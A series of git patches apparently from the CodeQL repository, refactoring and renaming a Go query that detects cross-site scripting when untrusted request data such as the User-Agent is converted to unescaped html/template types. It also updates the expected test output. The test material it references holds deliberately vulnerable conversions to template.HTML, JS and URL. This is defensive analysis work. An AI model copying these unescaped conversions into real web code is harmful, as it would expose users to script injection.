| call to UserAgent | HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | provenance | Src:MaD:1 Config | models -| 1 | Source: net/http; Request; true; Form; ; ; ; remote; manual | -| 2 | Source: net/http; Request; true; UserAgent; ; ; ReturnValue; remote; manual | -| 3 | Summary: html/template; ; false; HTMLEscapeString; ; ; Argument[0]; ReturnValue; taint; manual | -| 4 | Summary: net/url; Values; true; Get; ; ; Argument[receiver]; ReturnValue; taint; manual | +| 1 | Source: net/http; Request; true; UserAgent; ; ; ReturnValue; remote; manual | nodes | HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | semmle.label | type conversion | | HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | semmle.label | call to UserAgent | @@ -69,17 +57,4 @@ nodes | HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | semmle.label | type conversion | | HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | semmle.label | call to UserAgent | | HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | semmle.label | g | -| HTMLTemplateEscapingPassthrough.go:75:17:75:31 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:76:38:76:44 | escaped | semmle.label | escaped | -| HTMLTemplateEscapingPassthrough.go:81:10:81:24 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:84:38:84:40 | src | semmle.label | src | -| HTMLTemplateEscapingPassthrough.go:89:10:89:24 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:91:16:91:77 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:91:38:91:67 | call to HTMLEscapeString | semmle.label | call to HTMLEscapeString | -| HTMLTemplateEscapingPassthrough.go:91:64:91:66 | src | semmle.label | src | -| HTMLTemplateEscapingPassthrough.go:92:38:92:46 | converted | semmle.label | converted | -| ReflectedXssGood.go:15:15:15:20 | selection of Form | semmle.label | selection of Form | -| ReflectedXssGood.go:15:15:15:36 | call to Get | semmle.label | call to Get | -| ReflectedXssGood.go:20:24:20:31 | username | semmle.label | username | -| ReflectedXssGood.go:21:40:21:47 | username | semmle.label | username | subpaths From cbdbb0310b91d885a9ebfd711679877b70013658 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 24 Apr 2025 16:15:19 +0100 Subject: [PATCH 008/271] Tidy up test (remove duplicated `main`) --- .../HTMLTemplateEscapingPassthrough.expected | 108 +++++++++--------- .../HTMLTemplateEscapingPassthrough.go | 2 - 2 files changed, 54 insertions(+), 56 deletions(-) diff --git a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected index 7da7560567f..feb98b69d5e 100644 --- a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected +++ b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected @@ -1,60 +1,60 @@ #select -| HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | Data from an $@ will not be auto-escaped because it was converted to template.HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | Data from an $@ will not be auto-escaped because it was converted to template.JS | HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | Data from an $@ will not be auto-escaped because it was converted to template.JSStr | HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | Data from an $@ will not be auto-escaped because it was converted to template.CSS | HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | Data from an $@ will not be auto-escaped because it was converted to template.Srcset | HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | Data from an $@ will not be auto-escaped because it was converted to template.URL | HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:28:39:28:39 | a | HTMLTemplateEscapingPassthrough.go:27:26:27:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:28:39:28:39 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HTMLTemplateEscapingPassthrough.go:27:26:27:40 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:34:40:34:40 | a | HTMLTemplateEscapingPassthrough.go:33:23:33:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:34:40:34:40 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HTMLTemplateEscapingPassthrough.go:33:23:33:37 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:39:40:39:40 | a | HTMLTemplateEscapingPassthrough.go:38:19:38:33 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:39:40:39:40 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HTMLTemplateEscapingPassthrough.go:38:19:38:33 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:45:41:45:41 | c | HTMLTemplateEscapingPassthrough.go:44:29:44:43 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:45:41:45:41 | c | Data from an $@ will not be auto-escaped because it was converted to template.HTMLAttr | HTMLTemplateEscapingPassthrough.go:44:29:44:43 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:49:44:49:44 | d | HTMLTemplateEscapingPassthrough.go:48:23:48:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:49:44:49:44 | d | Data from an $@ will not be auto-escaped because it was converted to template.JS | HTMLTemplateEscapingPassthrough.go:48:23:48:37 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:53:44:53:44 | e | HTMLTemplateEscapingPassthrough.go:52:26:52:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:53:44:53:44 | e | Data from an $@ will not be auto-escaped because it was converted to template.JSStr | HTMLTemplateEscapingPassthrough.go:52:26:52:40 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:57:38:57:38 | b | HTMLTemplateEscapingPassthrough.go:56:24:56:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:57:38:57:38 | b | Data from an $@ will not be auto-escaped because it was converted to template.CSS | HTMLTemplateEscapingPassthrough.go:56:24:56:38 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:61:44:61:44 | f | HTMLTemplateEscapingPassthrough.go:60:27:60:41 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:61:44:61:44 | f | Data from an $@ will not be auto-escaped because it was converted to template.Srcset | HTMLTemplateEscapingPassthrough.go:60:27:60:41 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:65:38:65:38 | g | HTMLTemplateEscapingPassthrough.go:64:24:64:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:65:38:65:38 | g | Data from an $@ will not be auto-escaped because it was converted to template.URL | HTMLTemplateEscapingPassthrough.go:64:24:64:38 | call to UserAgent | untrusted source | edges -| HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | provenance | | -| HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:35:9:35:38 | type conversion | HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | provenance | | -| HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:35:9:35:38 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:40:9:40:34 | type conversion | HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | provenance | | -| HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:40:9:40:34 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:46:11:46:44 | type conversion | HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | provenance | | -| HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:46:11:46:44 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:50:11:50:38 | type conversion | HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | provenance | | -| HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:50:11:50:38 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:54:11:54:41 | type conversion | HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | provenance | | -| HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:54:11:54:41 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:58:11:58:39 | type conversion | HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | provenance | | -| HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:58:11:58:39 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:62:11:62:42 | type conversion | HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | provenance | | -| HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:62:11:62:42 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | provenance | | -| HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | provenance | Src:MaD:1 Config | +| HTMLTemplateEscapingPassthrough.go:27:12:27:41 | type conversion | HTMLTemplateEscapingPassthrough.go:28:39:28:39 | a | provenance | | +| HTMLTemplateEscapingPassthrough.go:27:26:27:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:27:12:27:41 | type conversion | provenance | Src:MaD:1 Config | +| HTMLTemplateEscapingPassthrough.go:33:9:33:38 | type conversion | HTMLTemplateEscapingPassthrough.go:34:40:34:40 | a | provenance | | +| HTMLTemplateEscapingPassthrough.go:33:23:33:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:33:9:33:38 | type conversion | provenance | Src:MaD:1 Config | +| HTMLTemplateEscapingPassthrough.go:38:9:38:34 | type conversion | HTMLTemplateEscapingPassthrough.go:39:40:39:40 | a | provenance | | +| HTMLTemplateEscapingPassthrough.go:38:19:38:33 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:38:9:38:34 | type conversion | provenance | Src:MaD:1 Config | +| HTMLTemplateEscapingPassthrough.go:44:11:44:44 | type conversion | HTMLTemplateEscapingPassthrough.go:45:41:45:41 | c | provenance | | +| HTMLTemplateEscapingPassthrough.go:44:29:44:43 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:44:11:44:44 | type conversion | provenance | Src:MaD:1 Config | +| HTMLTemplateEscapingPassthrough.go:48:11:48:38 | type conversion | HTMLTemplateEscapingPassthrough.go:49:44:49:44 | d | provenance | | +| HTMLTemplateEscapingPassthrough.go:48:23:48:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:48:11:48:38 | type conversion | provenance | Src:MaD:1 Config | +| HTMLTemplateEscapingPassthrough.go:52:11:52:41 | type conversion | HTMLTemplateEscapingPassthrough.go:53:44:53:44 | e | provenance | | +| HTMLTemplateEscapingPassthrough.go:52:26:52:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:52:11:52:41 | type conversion | provenance | Src:MaD:1 Config | +| HTMLTemplateEscapingPassthrough.go:56:11:56:39 | type conversion | HTMLTemplateEscapingPassthrough.go:57:38:57:38 | b | provenance | | +| HTMLTemplateEscapingPassthrough.go:56:24:56:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:56:11:56:39 | type conversion | provenance | Src:MaD:1 Config | +| HTMLTemplateEscapingPassthrough.go:60:11:60:42 | type conversion | HTMLTemplateEscapingPassthrough.go:61:44:61:44 | f | provenance | | +| HTMLTemplateEscapingPassthrough.go:60:27:60:41 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:60:11:60:42 | type conversion | provenance | Src:MaD:1 Config | +| HTMLTemplateEscapingPassthrough.go:64:11:64:39 | type conversion | HTMLTemplateEscapingPassthrough.go:65:38:65:38 | g | provenance | | +| HTMLTemplateEscapingPassthrough.go:64:24:64:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:64:11:64:39 | type conversion | provenance | Src:MaD:1 Config | models | 1 | Source: net/http; Request; true; UserAgent; ; ; ReturnValue; remote; manual | nodes -| HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | semmle.label | a | -| HTMLTemplateEscapingPassthrough.go:35:9:35:38 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | semmle.label | a | -| HTMLTemplateEscapingPassthrough.go:40:9:40:34 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | semmle.label | a | -| HTMLTemplateEscapingPassthrough.go:46:11:46:44 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | semmle.label | c | -| HTMLTemplateEscapingPassthrough.go:50:11:50:38 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | semmle.label | d | -| HTMLTemplateEscapingPassthrough.go:54:11:54:41 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | semmle.label | e | -| HTMLTemplateEscapingPassthrough.go:58:11:58:39 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | semmle.label | b | -| HTMLTemplateEscapingPassthrough.go:62:11:62:42 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | semmle.label | f | -| HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | semmle.label | g | +| HTMLTemplateEscapingPassthrough.go:27:12:27:41 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:27:26:27:40 | call to UserAgent | semmle.label | call to UserAgent | +| HTMLTemplateEscapingPassthrough.go:28:39:28:39 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:33:9:33:38 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:33:23:33:37 | call to UserAgent | semmle.label | call to UserAgent | +| HTMLTemplateEscapingPassthrough.go:34:40:34:40 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:38:9:38:34 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:38:19:38:33 | call to UserAgent | semmle.label | call to UserAgent | +| HTMLTemplateEscapingPassthrough.go:39:40:39:40 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:44:11:44:44 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:44:29:44:43 | call to UserAgent | semmle.label | call to UserAgent | +| HTMLTemplateEscapingPassthrough.go:45:41:45:41 | c | semmle.label | c | +| HTMLTemplateEscapingPassthrough.go:48:11:48:38 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:48:23:48:37 | call to UserAgent | semmle.label | call to UserAgent | +| HTMLTemplateEscapingPassthrough.go:49:44:49:44 | d | semmle.label | d | +| HTMLTemplateEscapingPassthrough.go:52:11:52:41 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:52:26:52:40 | call to UserAgent | semmle.label | call to UserAgent | +| HTMLTemplateEscapingPassthrough.go:53:44:53:44 | e | semmle.label | e | +| HTMLTemplateEscapingPassthrough.go:56:11:56:39 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:56:24:56:38 | call to UserAgent | semmle.label | call to UserAgent | +| HTMLTemplateEscapingPassthrough.go:57:38:57:38 | b | semmle.label | b | +| HTMLTemplateEscapingPassthrough.go:60:11:60:42 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:60:27:60:41 | call to UserAgent | semmle.label | call to UserAgent | +| HTMLTemplateEscapingPassthrough.go:61:44:61:44 | f | semmle.label | f | +| HTMLTemplateEscapingPassthrough.go:64:11:64:39 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:64:24:64:38 | call to UserAgent | semmle.label | call to UserAgent | +| HTMLTemplateEscapingPassthrough.go:65:38:65:38 | g | semmle.label | g | subpaths diff --git a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go index 50e318d956a..5ff36d0a8bc 100644 --- a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go +++ b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go @@ -7,8 +7,6 @@ import ( "strconv" ) -func main() {} - func checkError(err error) { if err != nil { panic(err) From b90aba291efd396c222b8d0b2496cfcdb51b876c Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 24 Apr 2025 16:30:16 +0100 Subject: [PATCH 009/271] Refactor class for unescaped types --- .../HTMLTemplateEscapingPassthrough.ql | 33 ++++++++++--------- 1 file changed, 17 insertions(+), 16 deletions(-) diff --git a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql index 9a73ebe159b..bfb9194ede7 100644 --- a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql +++ b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql @@ -14,11 +14,13 @@ import go /** - * A name of a type that will not be escaped when passed to - * a `html/template` template. + * A type that will not be escaped when passed to a `html/template` template. */ -class PassthroughTypeName extends string { - PassthroughTypeName() { this = ["HTML", "HTMLAttr", "JS", "JSStr", "CSS", "Srcset", "URL"] } +class UnescapedType extends Type { + UnescapedType() { + this.hasQualifiedName("html/template", + ["CSS", "HTML", "HTMLAttr", "JS", "JSStr", "Srcset", "URL"]) + } } /** @@ -42,7 +44,7 @@ predicate isSinkToTemplateExec(DataFlow::Node sink, DataFlow::CallNode call) { module UntrustedToTemplateExecWithConversionConfig implements DataFlow::StateConfigSig { private newtype TConversionState = TUnconverted() or - TConverted(PassthroughTypeName x) + TConverted(UnescapedType unescapedType) /** * Flow state for tracking whether a conversion to a passthrough type has occurred. @@ -50,14 +52,14 @@ module UntrustedToTemplateExecWithConversionConfig implements DataFlow::StateCon class FlowState extends TConversionState { predicate isBeforeConversion() { this instanceof TUnconverted } - predicate isAfterConversion(PassthroughTypeName x) { this = TConverted(x) } + predicate isAfterConversion(UnescapedType unescapedType) { this = TConverted(unescapedType) } /** Gets a textual representation of this element. */ string toString() { this.isBeforeConversion() and result = "Unconverted" or - exists(PassthroughTypeName x | this.isAfterConversion(x) | - result = "Converted to template." + x + exists(UnescapedType unescapedType | this.isAfterConversion(unescapedType) | + result = "Converted to " + unescapedType.getQualifiedName() ) } } @@ -82,13 +84,13 @@ module UntrustedToTemplateExecWithConversionConfig implements DataFlow::StateCon predicate isAdditionalFlowStep( DataFlow::Node pred, FlowState predState, DataFlow::Node succ, FlowState succState ) { - exists(ConversionExpr conversion, PassthroughTypeName name | + exists(ConversionExpr conversion, UnescapedType unescapedType | // If not yet converted, look for a conversion to a passthrough type predState.isBeforeConversion() and - succState.isAfterConversion(name) and + succState.isAfterConversion(unescapedType) and succ.(DataFlow::TypeCastNode).getExpr() = conversion and pred.asExpr() = conversion.getOperand() and - conversion.getType().getUnderlyingType*().hasQualifiedName("html/template", name) + conversion.getType().getUnderlyingType*() = unescapedType ) } } @@ -100,11 +102,10 @@ import UntrustedToTemplateExecWithConversionFlow::PathGraph from UntrustedToTemplateExecWithConversionFlow::PathNode untrustedSource, - UntrustedToTemplateExecWithConversionFlow::PathNode templateExecCall, - PassthroughTypeName targetTypeName + UntrustedToTemplateExecWithConversionFlow::PathNode templateExecCall, UnescapedType unescapedType where UntrustedToTemplateExecWithConversionFlow::flowPath(untrustedSource, templateExecCall) and - templateExecCall.getState().isAfterConversion(targetTypeName) + templateExecCall.getState().isAfterConversion(unescapedType) select templateExecCall.getNode(), untrustedSource, templateExecCall, - "Data from an $@ will not be auto-escaped because it was converted to template." + targetTypeName, - untrustedSource.getNode(), "untrusted source" + "Data from an $@ will not be auto-escaped because it was converted to template." + + unescapedType.getName(), untrustedSource.getNode(), "untrusted source" From 7f007e10c4613eb9227c4842df6f3d8ef1040b3e Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 24 Apr 2025 16:30:36 +0100 Subject: [PATCH 010/271] Minor refactor - removed unused argument --- .../src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql index bfb9194ede7..25fad3c374a 100644 --- a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql +++ b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql @@ -26,8 +26,8 @@ class UnescapedType extends Type { /** * Holds if the sink is a data value argument of a template execution call. */ -predicate isSinkToTemplateExec(DataFlow::Node sink, DataFlow::CallNode call) { - exists(Method fn, string methodName | +predicate isSinkToTemplateExec(DataFlow::Node sink) { + exists(Method fn, string methodName, DataFlow::CallNode call | fn.hasQualifiedName("html/template", "Template", methodName) and call = fn.getACall() | @@ -69,7 +69,7 @@ module UntrustedToTemplateExecWithConversionConfig implements DataFlow::StateCon } predicate isSink(DataFlow::Node sink, FlowState state) { - state.isAfterConversion(_) and isSinkToTemplateExec(sink, _) + state.isAfterConversion(_) and isSinkToTemplateExec(sink) } predicate isBarrier(DataFlow::Node node) { From 3cce4ba4370388ac30a73a0e7aa00282b0bef9f5 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 24 Apr 2025 16:40:21 +0100 Subject: [PATCH 011/271] Improve QLDocs --- .../src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql index 25fad3c374a..e8a4202a98f 100644 --- a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql +++ b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql @@ -38,8 +38,8 @@ predicate isSinkToTemplateExec(DataFlow::Node sink) { } /** - * Data flow configuration that tracks flows from untrusted sources (A) to template execution calls (C), - * and tracks whether a conversion to a passthrough type (B) has occurred. + * Data flow configuration that tracks flows from untrusted sources to template execution calls + * which go through a conversion to an unescaped type. */ module UntrustedToTemplateExecWithConversionConfig implements DataFlow::StateConfigSig { private newtype TConversionState = @@ -47,7 +47,7 @@ module UntrustedToTemplateExecWithConversionConfig implements DataFlow::StateCon TConverted(UnescapedType unescapedType) /** - * Flow state for tracking whether a conversion to a passthrough type has occurred. + * Flow state for tracking whether a conversion to an unescaped type has occurred. */ class FlowState extends TConversionState { predicate isBeforeConversion() { this instanceof TUnconverted } From cba0bec3c6f6cf8966c0fa07be7bb5c60c90f969 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Fri, 25 Apr 2025 09:56:28 +0100 Subject: [PATCH 012/271] Rename files --- ...lp => HtmlTemplateEscapingBypassXss.qhelp} | 4 +- ...gh.ql => HtmlTemplateEscapingBypassXss.ql} | 0 ...go => HtmlTemplateEscapingBypassXssBad.go} | 0 ...o => HtmlTemplateEscapingBypassXssGood.go} | 0 .../HTMLTemplateEscapingPassthrough.expected | 60 ------------------- .../HtmlTemplateEscapingBypassXss.expected | 60 +++++++++++++++++++ ...gh.go => HtmlTemplateEscapingBypassXss.go} | 0 ...ef => HtmlTemplateEscapingBypassXss.qlref} | 2 +- 8 files changed, 63 insertions(+), 63 deletions(-) rename go/ql/src/Security/CWE-079/{HTMLTemplateEscapingPassthrough.qhelp => HtmlTemplateEscapingBypassXss.qhelp} (88%) rename go/ql/src/Security/CWE-079/{HTMLTemplateEscapingPassthrough.ql => HtmlTemplateEscapingBypassXss.ql} (100%) rename go/ql/src/Security/CWE-079/{HTMLTemplateEscapingPassthroughBad.go => HtmlTemplateEscapingBypassXssBad.go} (100%) rename go/ql/src/Security/CWE-079/{HTMLTemplateEscapingPassthroughGood.go => HtmlTemplateEscapingBypassXssGood.go} (100%) delete mode 100644 go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected create mode 100644 go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.expected rename go/ql/test/query-tests/Security/CWE-079/{HTMLTemplateEscapingPassthrough.go => HtmlTemplateEscapingBypassXss.go} (100%) rename go/ql/test/query-tests/Security/CWE-079/{HTMLTemplateEscapingPassthrough.qlref => HtmlTemplateEscapingBypassXss.qlref} (61%) diff --git a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.qhelp b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.qhelp similarity index 88% rename from go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.qhelp rename to go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.qhelp index a842a685f23..50659b0ba3e 100644 --- a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.qhelp +++ b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.qhelp @@ -19,10 +19,10 @@

In the first example you can see the special types and how they are used in a template:

- +

To avoid XSS, all user input should be a normal string type.

